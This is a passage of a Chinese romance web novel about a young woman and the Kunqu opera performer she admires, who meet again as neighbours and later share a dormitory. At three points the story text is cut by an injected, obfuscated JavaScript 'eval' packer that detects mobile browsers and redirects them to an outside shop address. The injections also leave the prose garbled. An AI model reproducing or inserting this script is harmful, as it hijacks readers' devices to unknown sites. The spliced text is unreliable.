《你不知道的事》 2. 我如果爱你 06如果可以挥霍运气 我当然一直都知道你不会喜欢女生,也不喜欢我,毕竟这些我都没所谓,甚至知道这些还心甘情愿听你的戏买你的戏票。就是因为我喜欢你根本不用你作任何回应。 我只是不能接受……我不能接受你羞辱我并且贬低这份感情。 ——摘自周昱虹的微博 “所以这票你还去听么?” 周昱虹看着桌子上的戏票,摇了摇头:“我不知道。” “反正离开场还有快一个月呢,还是家那边儿的票,到时候你不去我摇别人去。”周璇说着,捏起一小块麻糍填到嘴里,轻轻一咬,一股难以言说的中草药味瞬间充满口腔。 “好吃不,小姨?” 周璇点点头意味深长地:“嗯……” “这是这边的小吃,艾草麻糍,我是吃不太习惯的,但毕竟每个人口味不同。”周昱虹说着,提起装着麻糍的食盒,起身就往外走。 周璇连忙拦下,他勉强把嘴里的麻糍咽下,委婉道:“我觉得,这黏糊糊的东西不好消化,再说了这周边的邻居都是上了年纪的叔叔阿姨,牙口也不太好……你说是吧。” “还好吧,这一份也不太多,再说他们都吃过了,街坊四邻都说我做得正宗呢。”周昱虹说着,皱了皱眉:“其实在这边不太好点外卖,我帮他们采茶也不收钱,他们就请我吃饭,一次两次我就不好意思了,就想着做些吃的给他们回礼。” 周璇欲言又止:“……”一方面他不知如何继续委婉地拦下这份好意,另一方面,他觉得刚才那团麻糍似乎还在食道里没完全咽下去。 总之最后,他只得无奈地望着周昱虹提着食盒出了门。 周昱虹像往常一样挨家挨户地敲门,当下正是晚饭点儿,很多人家都在忙于做饭,那一小碟子麻糍刚好填一道零嘴儿。 最后一家是张阿姨家,周昱虹敲响房门,也听到了熟悉的那声回应:“谁呀。” “张阿姨,是我小虹,揉了点儿麻糍给您送过来当小零嘴儿尝尝。” “诶,小虹你稍等啊,我这洗菜呢手湿。” “没事儿阿姨您忙我不着急。” 不一会儿门开了,却不是张阿姨,当然也是个熟人。 “是你?”门口的人异口同声,面面相觑。 ——站在周昱虹面前的人正是陈嵊舟! 周昱虹后退了两步,抬头看了眼门牌,慌忙道:“不好意思,我走错了。”这些房子连得近,听错敲门喊错人应该也正常……吧。周昱虹低头转身边开导自己边开溜。 “诶呀没走错没走错,小虹呀介绍一下这是我家姑娘,好不容易回家一趟。这位是最近刚搬来的邻居小虹。” 陈嵊舟礼貌地递出一只手:“你好,我是陈嵊舟。” 周昱虹迟疑片刻,终于还是握住那只手:“周昱虹。” “别在门口站着了小虹,快进来坐坐。” “阿姨,没事没事我就不进去打搅了。” “诶我记得小虹你是不是也喜欢听昆曲来着?我姑娘就是唱昆曲的,当初让她学越剧离家近她偏不,这倒好了离家远——远滴呦,不着家。”张姨说着便往厨房走,打开水龙头接着洗菜:“这也快到饭点儿了你留下来吃饭呗,正好你们年轻人也交流交流。” “留下来吃饭吧。我记得你,前些日子苏州我们还在后台见过呢,你当时安安静静不言不语的。”陈嵊舟身体一侧,做出请的动作:“我这刚回家就听父母提起你,听你总来帮忙采茶,我正想着好好谢谢你呢。” 见她如此,想来是没认出来自己,周昱虹便说:“完全不用谢,反正我也没工作嘛,帮叔叔阿姨采茶权当锻炼锻炼了。”她故意在没工作几个字上停顿,随后提高了嗓门向里屋喊:“谢谢阿姨的好意呀,我今天就先不进去了,家里来人了等我回去吃饭呢。” “诶,回去路上注意安全慢点儿哈。” 周昱虹离开后,陈嵊舟越琢磨越不是滋味,总感觉自己落下来什么关键信息,却又实在想不起来,她索性打开手中的餐盒,捏起一块麻糍蘸上白糖,搁嘴里嚼嚼不由道:“妈,这小姑娘厨艺挺刁钻啊。” “你懂什么。”张姨从厨房出来没来得及擦手就一巴掌呼在陈嵊舟肩膀上,随后捏起麻糍,吃得有滋有味。 陈嵊舟不可思议道:“妈你真的不是在拿我衣服擦手了么。” “看这小姑娘总让我想起你,你小时候也跟她似的,跟着我们上山采茶唱越剧,学着大人的样子滤菜汁揉麻糍,做出来的东西跟她……还没人家好吃呢。”张姨说着转身回厨房,顺势对着陈嵊舟肩头又是一巴掌。 “可我现在长大了,年纪轻轻不就是要打拼事业挣铜板去么。” “是啊,你现在是长大了,本事大了飞得远远的,我们做大人的自然支持你,但不妨碍为娘的我永远喜欢十几二十来岁的小姑娘啊。” 陈嵊舟看着桌子上的麻糍,嘴里继续嚼嚼嚼,默默陷入沉思:肯定还在哪里见过这个人罢……到底是在哪里呢。 07我肯定在十几年前就说过爱你 最近母亲总是疑神疑鬼的,可能是进入高中了她有些精神紧张,见到我跟男生多说几句话都要随口捣鼓两句,咄咄逼人地问是不是喜欢他,是不是喜欢谁。 我想,我好像不喜欢男生,也不是喜欢女生。这一生貌似只是对你有过那种戏文中描写的,心动的感觉。 ——摘自周昱虹的博客 之后的几日周昱虹再没见过陈嵊舟,她好像真的很忙。 后来,正逢张姨家人有喜事,说周昱虹是大学生字又好,就请她去帮忙记账。做到记账凳子上的那一刻她就后悔了,当地人讲话十个里恨不能冒出十一种方言,她根本听不懂一点,有一半时间都是在皱眉提着毛笔不知所措。一开始还礼貌微笑询问,到后来直接递笔让对方写纸上她再誊抄。 有个大爷好说歹说就是不写字,说自己叫刘勇,不是勇气的勇,不是翻涌的涌,也不是永远的永,说是草字头的yong,给周昱虹急得,马上要造字出来了。 “光荣的荣。”一个清亮的女生从人群里出来,大爷听到后回身,那人又说:“荣叔,好久不见您看上去还那么硬朗。” “呦这不是小舟么,确实好些年不见了,听你妈说你一直在外地,见一面实在不容易啊哈哈。” 二人在她脑瓜顶热闹寒暄,周昱虹在底下阴阳怪气叽叽咕咕超故意:呦这不是小舟么,yue,切我还叫小周。 “辛苦你帮忙记账了,礼部尚书。”陈嵊舟交了礼金,推着行李箱到周昱虹身边落座。 见她过来周昱虹立身就要走,笑得那叫一个灿烂:“不辛苦不辛苦,我这才记了几个呀,后面那老些人还得您来记。” 陈嵊舟抬手一拦:“别着急走呀,我字可没你的好看,毛笔字就更差了,完全不会写。还是辛苦你来写吧。”后面杵着排队的人都盯着这俩人,周昱虹进退两难,后悔当初多嘴说自己会写毛笔字,尴尬得小脸儿粉扑扑儿的。 “张姨说了,本来这活儿就该你来,你飞机晚点我才临时顶上的,不会写毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629095|156257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔字旁边不正好有水笔么。你赶紧让开……”周昱虹正低声说着,谁知对方佯装没听清,故意靠到她跟前来道:“这人太多了,你大点声。” 周昱虹深深呼了口气:“我说我这人生地不熟的连个名字都听不懂干这活儿费劲,还是你来吧。”说着,准备推开陈嵊舟的胳膊一走了之,但是没推开……不愧是练过的手劲儿可大。 “我听得懂,我给你翻译,辛苦你来写。” 周昱虹抬起头,幽怨地看着陈嵊舟,对方却是一脸无所谓,她于是破罐子破摔,脑袋一点:“行。”随机坐下接着当礼部尚书。 “诶我说,我是不是之前没注意哪里惹到你了?怎么感觉你对我好像有偏见。” “没有啊,咱俩又不熟我哪来的偏见。”周昱虹有一句没一句地搭话着,在账簿写下秀比南山的寿,随即眉目轻挑,看向陈嵊舟阴阳怪气跟了句:“您别太敏感了。” 陈嵊舟:“……我记得你之前来还给我送花,我记得可清楚了,香槟金玫瑰。当时我看你见到我挺高兴的,怎么从江苏到了浙江你怎么态度转变这么多。我有时排练还想着这事儿呢,你的信我都有好好看,咱们都这么熟了,不如好好说说,有什么误会解开好不。” 不提那花还好,一提那束香槟玫瑰,周昱虹顿感心头略堵。 当时在苏州准备出门退房时,前脚刚出门没走两步就在保洁阿姨的垃圾车里看到了那束花,还有那封插在花里的信。她于是又推着行李箱回到房间,将那件应援防晒衫抛在了酒店床铺上,连同那些应援物料也是,一样都没留全撂酒店里了。 周昱虹很想问对方那信是不是看着看着就看到了垃圾桶里,但她最后只是说:“您这话说的,我跟您哪里熟了,咱俩都没说过几句话见过几次面的,我那不是跟阿姨熟么。” “我一直想问,北方人都这么懂礼貌的么,讲话总是您您的。” “当然不是了,您年长我得尊敬,喊一声您都是自然而然应该的。”周昱虹皱起眉头仔细听一个大娘的名姓,她说她姓熏,熏悟空的熏。 “咱俩差不多岁数吧,不用这么客气,你直接喊我名字就行,不然总感觉您您的你在蛐蛐我。” “诶,你知道今天结婚的是谁么?” “我好像听我妈说来着,是那个谁……” “是你小侄女。”周昱虹低声特意靠她近些讲,“听说上学比我还大一届呢,我喊她姐姐,难不成喊你也是姐姐么,这辈分该乱了套了。” 陈嵊舟:“……好好好,你是平时不张口,一张口就牙尖嘴利的。” 周昱虹没再搭理她,继续对脑瓜顶battle:“大爷您再说一遍吧,您姓什么,房?房子的房么?” “不是!是防火的防。” “防火的防?提防的防是吧。” “不是!房!放果的房!” “哦哦,放过的放是吧。”周昱虹摆出一副恍然大悟的样子,心说您赶紧点头快放过我吧。 “诶呀不是!” 周昱虹扶额,在崩溃的边缘来回试探:“还不是啊……”余光一瞟发现陈嵊舟在偷乐,她简直气不打一出来,支起胳膊肘狠狠怼了对方一下,娇嗔道:“你是不是知道,别笑了知道还不快告诉我。” “好侄儿。”陈嵊舟提起一旁的笔顺手在账簿上写到,“是红花红火红绿灯的红呀。” “切,好好的账簿。”周昱虹一撇嘴,“倒被你这字先入为主了。” 陈嵊舟:“……” ?? (未完待一定续) 3. 好像有些想你 08如果又一次错过 没想到再见到你是在两个月后了。 真奇怪,我总感觉这六十天,比过去的十年还漫长。 ——摘自周昱虹的博客/陈嵊舟博客的小号 ?? ??陈嵊舟是个籍籍无名的昆曲演员,业务能力不错,但卖座率不高。工资几千算上演出提成才将将能养活自己,有些积蓄但不多,时间完全不自由,偶尔几天出差公费住高端酒店品细糠,剩下的时间不是在舞室排练,就是一个人在小小的宿舍里坐守空房。 ??因此,她总是很难想象自己有着一些异常难缠的戏迷,那些人跟着她回宾馆,甚至在陈嵊舟不在家时敲响她父母的房门。 ??苏州汇演结束时,陈嵊舟卸掉妆容,疲惫不堪地回酒店,却被一群身穿紫色应援服的戏迷尾随,她实在没忍住,严厉“教育”了她们一番。回来刚上电梯,却发现竟然还有漏网之鱼,一个头戴鸭舌帽和口罩,眼神闪躲看上去十分猥琐的人。 ??这个人是周昱虹,陈嵊舟没认出来,因为在后台她没穿那身显眼的紫色防晒衫。 ??第二天清晨,陈嵊舟下楼吃了个早饭,回房间却发现房间里的花全被保洁阿姨拿走丢掉了,连同那束香槟玫瑰里的信,她甚至还没来得及读完。 ??抱着侥幸心理,陈嵊舟飞快穿梭,走过这层楼的每个房间,找到保洁阿姨时正好看到那束打蔫儿的玫瑰躺在垃圾桶里。 ??“太好了……还能找到。”陈嵊舟念叨着也顾不上干不干净,伸手从垃圾桶里把那封信捞了出来。她昨晚看了一半,困极了便不知不觉睡着,那封信又落回了捧花上。信的主人写得一手潇洒自如的行书,落款是天弓,那是太阳雨时彩虹的意思。几年前,她在博客寥寥无几的粉丝列表里见过这个名字。 ??“诶呀不好意思,你说这天热,鲜花一晚上就蔫儿了,我看你那花都生虫子了,寻思着打扫赶紧拿出来。” ??那束玫瑰才一晚便枯萎得不成样子,完全看不出从前光鲜水灵。陈嵊舟回身,发现宾馆床铺上那身熟悉的紫色应援衫,还有一些物料全都散落在床铺上,保洁阿姨手快,敛起来一股脑儿全扔垃圾桶里了。 ??“诶诶……这些前房主都不要了么?” ??“是呀,她刚走,我还特意问了来着。”保洁阿姨说着,边把防晒衫收起来,又说:“你说现在这小年轻呀,审美是越活越回去了,这颜色我看着都显老,我回来看着捐了得了。” ??陈嵊舟:“……”她拿着信往外走,边走边想:昨晚说的话,是不是真的有些过了。 ??陈嵊舟最近演出不多,时间相对宽松,自从上次侄女结婚她又半个月没回家,等她推着行李箱,想说去看看那个叫小虹的姑娘,却被告知上周已经搬走了。 ??“妈,我刚去看,小虹搬走了?” ??“可不,本来就是来放松心情的,估计是回家了吧,她不北方人么。” ??“诶,那你有没有她的联系方式啊,电话微信之类的。” ??“我又不用微信,都在眼巴前儿的人,我要找她去她门前敲门就好了呀,完全不用什么微信呀电话那么麻烦的。” ??那几天,陈嵊舟每次路过那间屋子,看着里面忙碌的陌生的人,心中心事总是难以言说。 ??一个半月后。 ??陈嵊舟在北方的展演圆满收官,一连五六场演出,她一次也没遇见过周昱虹,今天,是最后一场了。 ??准备卸妆休息时,陈嵊舟终于还是看到了那个熟悉的身影,她捧着一束粉红玫瑰,乖巧地站在梳妆台一旁。陈嵊舟刚想装作若无其事走上前,对方却将那束玫瑰递给了隔壁剧组的越剧演员,二人还相谈甚欢,看得陈嵊舟不由得咬紧牙关。 ??散场后,陈嵊舟狗狗祟祟等周昱虹走后她才离开,故意赶在她之前两步上了电梯,提前摘下口罩帽子,而后见她过来佯装若无其事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629096|156257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地挡了下电梯门。自以为姿势很是潇洒,实际上跟迎面走来的两人对视很是尴尬。 ??女青年最先开口:“诶,这不是滴星嘛,还记得我么,我刚才还给你送花来着。” ??“当然,我记得你。”事实上陈嵊舟不太记得,她光注意周昱虹跟那个越剧反派小生相谈甚欢了,完全没记住跟她聊天的人讲了啥,随后又略显尴尬地向周昱虹和她身边的青年打招呼:“你们好。” ??“小虹,这是你最喜欢的演员滴星嘞,卸了妆就不认识了?你别看她小还是北方人呀,她听昆曲可有些年头了,从你毕业……” ??“小姨!我现在喜欢越剧,不听昆曲好长时间了。”周昱虹连忙打断周璇的话,“新晋的越剧小生好看多了,脾气还好,见到我们送花还请我们吃点心。” ??周璇不以为然:“小小年纪净说瞎话儿,你今天、昨天、前天、大前天,滴星演出你是一场都没少看。” ??周昱虹掐住了周璇手腕,低声道:“少说两句吧小姨!” ??陈嵊舟直打圆场:“原来是小姨呀。” ??一听这个周璇连连摆手:“您就甭喊我小姨了,我没您岁数大,比您整整小两周儿呢,我跟小虹一样,也是从小听着您的戏长大的。” ??陈嵊舟:“……”她欲哭无泪,高考模拟文化课没过二十分都没过没这么无助过,她实在不想承认原来自己真的和周昱虹差着辈分。 ??周璇进了电梯,问陈嵊舟:“诶您一会儿准备去哪?” ??“我……我准备去吃点什么。”陈嵊舟随口一提,“这附近有什么推荐么?” ??“诶那正好。”周璇若有所思,“虽然有些唐突,但方不方便我们请您吃顿饭呢?” ??周昱虹和陈嵊舟极其默契地同时脱口而出。 ??陈嵊舟:“方便。” ??周昱虹:“方便……不了一点!” (未完待一定续) 4. 最喜欢怡情小吵 09假亦真时真亦假 我也是偶然发现的,那天在酒店客房,好说歹说才从保洁阿姨那儿将那件应援服收走。很长一段时间后的今天,准备把防晒衫洗一水前习惯性翻口袋,才发现里面有一张便签,上面画着柳梦梅的小像。 我如此自作多情地想,你画的应该是我的扮相。毕竟落款是熟悉的潇洒行书,天弓。 我时常好奇,你当时是怎么忍住不扇我一巴掌的。这张便签应该在你怒发冲冠扇我时顺势贴我脑门儿上,而不是让在我见不到你时蔫不溜儿地出现。 我已经快记不清你的模样了,此时此刻却迫切地想同你会面。 你我是否能再见上一面呢。 什么时候,能再见一面呢。 ——陈嵊舟的博客小号 三个人最终还是吃了顿尴尬的饭,好吧事实上除了周昱虹,剩下两人倒是相谈甚欢,吃得也很香。 傍晚时,周璇又临时接到了出差任务,赶回去收拾行李了,留下周昱虹跟陈嵊舟两人在河边逛夜市。 “好久不见。之前的事,对不起……你还能来听我的戏真是太好了。”见周昱虹不说话,陈嵊舟没话搭了话儿随口提起:“诶你知道我为什么叫嵊舟么?” 周昱虹:“……” “当然不是因为我是在嵊州出生的,其实是因为我妈喜欢吃嵊州的海鲜哈哈哈你说好不好笑,我感觉自己是我父母爱情的赠品。” “那你知道我为什么跟我小姨一个姓么?” “嗯,我想想,想不到诶,会不会因为你父母是相同姓氏?” 周昱虹平静地地摇了摇头:“我记事起父母就离婚了,妈妈一个人把我拉扯大,所以我跟妈妈姓。” “……这样啊,真是,不好意思。” “你是不是觉得我在卖惨?就像你之前觉得我是在蓄意骚扰你父母一样。” 陈嵊舟连忙摆手,昏暗的路灯下她的两只手摇晃出了残影:“千万别这么说,千错万错之前都是我的错。” “我觉得你没错。” “……啊?”陈嵊舟摸不着头脑,“那你觉得,那件事,嗯……” “错,也是真正打扰到你生活的人有错吧。” “所以你算是原谅我了么?” 周昱虹小手一摆:“我哪里舍得怪您呀,我从来没怪过您。” 陈嵊舟心里依旧不是滋味儿:“怎么你一说您,就好像在阴阳怪气我一样。” “哪有。”周昱虹偏头去看陈嵊舟,莞尔一笑。 “你接下来会去哪?” “嗯……”周昱虹思考片刻,随之摇摇头:“不知道。你呢,你接下来会去哪儿演出?” “先回江苏排练新剧目,可能会现在江苏演一段时间,看看效果卖座率,再等剧团通知会不会有巡演之类的吧。” “嗯……江苏,确实是个好地方。虽然我上次也没怎么好好逛逛,但毕竟那句话怎么说,不到园林怎知春如许。” “那,你会来么?”陈嵊舟停下了脚步,周昱虹回身看她,昏暗的路灯刻画滴星秀丽英气的五官,此刻正含情脉脉地望着自己:“我跟你去看园林好不好?” “真的假的?”周昱虹轻笑,“你真的是滴星么,还是柳梦梅,或者是……” “我是陈嵊舟。说的话当然都是真的。”那双眼睛湿漉漉的,明亮得很,甚至,她如此期待地伸出了只手:“重新,正式认识一下吧。”她的掌心热热的,周昱虹的手却凉凉的。 河畔许多行人走走停停,孩子嬉闹,恋人相拥。周昱虹胳膊支在栅栏上,欣赏波光粼粼的河面,晚风卷起额前碎发,扰得她脸痒痒的,心也痒痒的:“像做梦一样。” 陈嵊舟与她并肩而立,胳膊搭在一起:“我也是。” 10不到园林怎知春如许 在来苏州的高铁上,陈嵊舟困得睡了几乎一路,周昱虹倒是闲来无事投了一路苏州当地的财务岗位简历。 不考虑薪资,也不纠结会不会被录用,周昱虹反而收到了几份不错的offer,有两家财务总监,薪资比原来翻了将近一倍,她最后选择了其中份离剧团近的工作。 可能天生就是赚钱打工的命,尽管周璇定期给她笔生活费她也绝对富裕够用,但没工作心里还是不踏实。 陈嵊舟的寝室原本是双人间的上床下桌,但属于一直跟团的老成员,前前后后换了许多室友,后来就都只有她一人在住。 但最近房间里住了两个人。 “嗯……会不会有些小。” 周昱虹摇摇头:“还好,我大学时六人寝的上床下桌,平米感觉还没这个大,这里非常好。” “你不嫌弃的话,想住多久都可以。这边离你单位来回交通也比较方便,你如果住得习惯,想换单间更宽敞的,我去问问有没有其他空宿舍。” “剧团以外的成员也行么?” “我在这也蛮长时间了,周围同事来了走了好几轮儿了,这点小事还是能通融的。”陈嵊舟将原本床铺上的杂物搬开,利索地打扫清理了一番:“我之前也想过要出去租房来着,但这份工作跑东跑西的,实际上在这边连着也住不了几天。偶尔排练时间紧,这么近的寝室都回不来几趟。” 接下来的几天,清晨陈嵊舟早起练功,结束后顺道去食堂买好早饭,回到寝室跟周昱虹一起吃。周昱虹会在晚功结束前做好晚饭,有时送去练功教室,有时在寝室等她。 生活如同西湖平静的湖水。 周昱虹很高兴。 陈嵊舟也是。 当然,同一个屋檐下,吵架也在所难免。头三天毕恭毕敬,往后原形毕露,一周少说小吵两回。 “是是是,你们剧团成天美女如云美不胜收的,回来见我可不就没滋没味儿。” “我哪儿是那个意思。” “家里红旗不倒外边儿彩旗飘飘,什么小生柳梦梅,呸,老淫贼!” “诶你……” 周昱虹完全不管陈嵊舟解释,连个正眼都没给,推门出去上班了。她是电话照常接,微信也回,就是一连三天没回寝室。 第四天陈嵊舟休班,一时兴起就在寝室做了几道家常小炒,这是态度;尝了下觉得不太好吃,又点了披萨薯条……这是计策。随后拨通周昱虹的电话:“嗯……我外卖一不小心点多了,你看今天您要不回来吃呢?”这是嘴硬。 “您少来了,您那么多莺莺燕燕姊姊妹妹,一人一口很快就没了吧。”周昱虹一边举着电话云淡风轻,一边扬扬手示意汇报工作的实习生先出去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629097|156257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我去接你嘛,我现在就到你公司楼下了,你啥时候忙完就啥时候下来好不。” 周昱虹从落地窗看下去,确实有个半扎马尾的人正蹲坐在拦路石墩子上,转而轻飘飘道:“十分钟。” “等你!” 周昱虹是跟着另一个部门的领导下班出门的,到楼下是却没看到陈嵊舟的身影。 “小虹呀,你一个人来南方这么远的城市打拼,不容易吧。” “年轻总想着多走走多看看,刚到这边肯定有不少不适应,我是幸运遇着您了,否则不知道要走多少弯路呢。也多亏您的指导,现在适应多了。” 这个领导算是周昱虹的上司,有些职权,可以说周昱虹能走到小主管的位置,少不了他的提点。就是三十大几的年纪未婚,多少是有些目的在的,一开始画饼充饥,谁知周昱虹不吃这套,又大得一手好圆场,他只得咬咬牙,又是加薪又是升职地旁敲侧击。 “家住哪边,我看顺路开车送送你。” “不用麻烦了,我就在这附近租的房子。”周昱虹边说边在四周寻找陈嵊舟,心里冒出一万句见面后编排她的话,脸上却依旧挂着礼貌微笑:“我舍友她说一会儿来接我,我在这等等她。” “诶,你叫她别麻烦出来了,就这附近我跟你过去好了,我本地人,这一块儿可熟了。”他话音刚落,一个跟他身高一般无二的身影不知何时出现在他身后,冷言一句:“终于……找到你了!”给领导吓一激灵,滋楞一下子蹿出去老远才回头看,正瞅见周昱虹照着那人胳膊啪啪就是两巴掌。 “有没有分寸,你吓着我们领导了!”她一边“教育”一边不好意思地陪笑脸给领导低头致歉:“这是我小姨,岁数大了脑子不好使。”说着还配合地指了指自己脑壳儿。 “嘁……吓的就是他。”陈嵊舟一脸没所谓地看着周昱虹跟领导回见,一边嘀嘀咕咕:“我等你好久了,怎么才来呀。” “来得早不如来得巧,您再晚出现会儿,我就带他回去了。” 陈嵊舟双目呆愣,丹唇微颤,来戏了:“好妹妹,你怎的如此,难道说有我还不能满足你么?” 周昱虹也跟着蹙眉跟着演:“我倒也想,可他有房有车有房车,我本是清清白白女子身,奈何身在俗世难从心。” 陈嵊舟高挺胸脯:“他他他还没我高呢。” 周昱虹双手一摊摇摇一晃:“您二人身高不分伯仲。” “可他看着就比我沉好些。” “男儿身骨沉重也应该。” “妹妹……我想你真是饿了。”陈嵊舟听着总觉得对方调子怪,欢欢快快得更像是越剧唱法,终于眼眶泪光闪烁,曲到高潮,捂嘴崩溃道:“不对,他就是个幌子。妹妹背着我——去听其她美人唱戏了!” “我当然是饿了,就早晨啃了个白菜包子到现在滴水未进。”周昱虹眼神闪躲,赶紧领着对方往寝室方向走:“你不准备好吃的了么,再不回去吃该凉了不好吃了。” “饭菜再凉,哪里比得我——心——悲——凉啊啊啊啊啊。”尾声幽怨绵长,恨不得一个字转十八个音。 周昱虹沉默地转身。 陈嵊舟立刻收戏住声,蹦跶着挽上周昱虹的胳膊:“回家咯回家咯。” (未完待一定续) 5. 你不知道的事—— 11那条小鱼在乎 今天她喝醉了,嘴巴向下撇得很真诚,搂我的肩膀从来没这么紧过,一把鼻涕一把泪,哭啼啼地不停讲:小虹小虹小虹,你别离开我,别去找老男人,虽然我也不年轻了吧…… 之后她还不停问:你分得清么。 我说:分得清什么? 她醉醺醺地:分得清滴星和柳梦梅么? 我摇摇头:你真是醉了,我有时候是分不清他们俩的,但我知道你是陈嵊舟。 ——摘自周昱虹的备忘录 周昱虹跟陈嵊舟二人回宿舍,在楼下取外卖时,发现陈嵊舟刚点的豆乳盒子被其他同事不小心拆封了,对方是位名为撑花的旦角,见她们过来,她连忙解释道:“不好意思,我也点了这个,我还说怎么到这么早。但我只是把外包装打开了,里面没动,或者你们不介意的话,一会我点的那份到了你再来拿?” 周昱虹不说话,云淡风轻地看向陈嵊舟。 “啊……没事你先拿去吃吧,我一会儿再下来拿一趟你的那份。”但陈嵊舟实际上人走了有一会儿了,她们几天前吵架,就是因为这个撑花。 “对了,我跟其他同事商量了一下,晚上一会儿再合几遍新剧目,马上后台登台演出了,我感觉有些细节还需要再扣扣。” “这……”陈嵊舟走进两步低声不满道,“不是说好今天晚上休息,明天排一整天的么。” 撑花两手一翘一摆:“可能新剧目,大家紧张,还有些新人,都想再排两遍找找感觉吧。” “那你们先商量着,我先回去把菜热热。”周昱虹冷不丁插了一句话,向二人礼貌地点头示意,而后转身上了楼。 陈嵊舟无可奈何地着急:“我刚给她哄好,下午散会时大家不都说已经连轴转累了好几天想谢谢么,怎么晚上又有排练。” “戏比天大不是么,配角龙套都来你个主角不到场不合适吧。”撑花提起蛋糕,看向周昱虹离去的方向道:“小不点儿脾气还挺大。” “嗐,年纪轻轻的,能挣钱,比我会挣,自然脾气就大了。” 撑花离开前跟了句:“你那小妹妹,在家挺受长辈儿宠吧,看你也挺宠她的。” 为了避嫌,周昱虹陈嵊舟对外统一口径,说是互为表姐妹。 “她们不知道你还不懂么。”听到这话,撑花脚步停顿,回身一望陈嵊舟,正见她淡然一笑道:“她是我很重要的,最喜欢的人。”她笑得极轻,却又笑得十分愉快,眉眼弯弯,写满了幸福。 陈嵊舟提着刚到的小蛋糕,刚一推开门走进楼梯间,就看到靠在一旁门边的周昱虹。 “你还在这儿等我呢,可惜今天晚上……可能又得晚回去了。等演出结束,我指定跟你好好出去走走。你来这边,还没好好出去逛逛呢。” “不等你怎么着,你就是晚回来,还能一直在排练室不回来了不成?”周昱虹说着,揽上对方胳膊脑袋自然而然地靠过去:“回去吃饭了。” 12这条小鱼是谁 我如此铮铮铁骨,是断然弯不了一点的 ——摘自陈嵊舟的博客 滴星,是雨水的意思。撑花,是伞的意思。 二人也曾经是圈内小有名气的一对才子佳人。 不知怎的,有一段时间,似乎一切忽然开始变了味道,二人开始各种避嫌,合作少了,私下见面也很少搭话。 “你说也是,剧团就会小题大做,本来就没多少人关注昆曲,正常人都知道你俩没什么。” “诶就是说,净整些有的没的……” 尽管他们都这么说,滴星与撑花台上依旧入戏,一旦下台便形同陌路。 “撑花,你能分得清戏里的角色么?”一次演出结束后,电梯门关上的那一刻,所有注视的目光消失后,陈嵊舟看向撑花问道:“你分得清杜丽娘、陈妙常,还有李香君么。” 撑花摇摇头,依旧不去看陈嵊舟。 “我分不清了。”陈嵊舟有一只悬在半空的手,另一只手不由得紧紧握住手中的花束:“我分不清滴星和柳梦梅,分不清潘必正,也分不清侯朝宗……” “滴星。”撑花叫了她的名字打断她,“老搭档,我要结婚了。”随之抬头望向她,对方却收回了目光,连同那只悬在半空的手也收了回来,握着花束的双手轻轻松了下去。 电梯在某一层停下,门开的那一刻陈嵊舟闪躲似地快步走了下去,尽管那不是她原本要下的楼层。 “诶,还没到……” “撑花,新婚快乐。”陈嵊舟回身,顺着缓缓关合上的电梯门望向里面的如花美眷,似是最后告别。 最后连撑花的婚礼,陈嵊舟都没有到场。只在前一天晚上发了几个微信红包,留言写着:新婚快乐,祝你们幸福美满。 很多年后的某个夜晚,周昱虹在被窝里看恐怖片,鬼怪一出她还算淡定,倒是被身边一声带着调儿的尖叫吓得不轻。 周昱虹愤恨一推:“出去!” 陈嵊舟靠着墙面,柔弱道:“不是,看这些你都不害怕的么?” 周昱虹意味深长地微笑:“我当然不害怕了,毕竟我是铁骨铮铮的钢铁直女,是断然害怕不了一点的。” “大人息怒。”陈嵊舟支棱起铿锵有力的兰花指抵住周昱虹的嘴唇,“咱不是说好,不提这事儿的么?” 13我不是梁山伯 周昱虹跟陈嵊舟,两个人都不是喜欢饮酒的人。周昱虹偶尔会应酬,她倒是酒量酒品还不错,很难喝醉,即使喝醉也不耍酒疯,只会安静静地呆着。陈嵊舟属于看上去酒量不错的人,两三杯下肚,便能将酒后吐真言体现得淋漓尽致。 有时,连周昱虹也分不清是她戏好演技好,还是她真如此。 “小虹小虹,你最近都不怎么来听昆曲了。真的,不爱了么……” 周昱虹一边思考下周出差安排,一边随口答道:“我有个上级领导喜欢越剧,有时候单位赠票集体观影,我才去的。” 陈嵊舟撇撇嘴:“别扯开话题,你老实说,是不是看上那个越剧小生了?” “我哪有。” “就是,经常演反派的那个。我记得可清了,她五月二十一号还从良扮梁山伯来着。” 周昱虹故作沉思:“她呀……她确实蛮不错的。” “我就知道……”陈嵊舟落寞的声音逐渐低了下去,“那你觉得你们领导怎么样?” 周昱虹皱眉:“嗯……他也许不是个好人,但平心而论他却是个好领导。” “你觉得他会是个好丈夫么?” 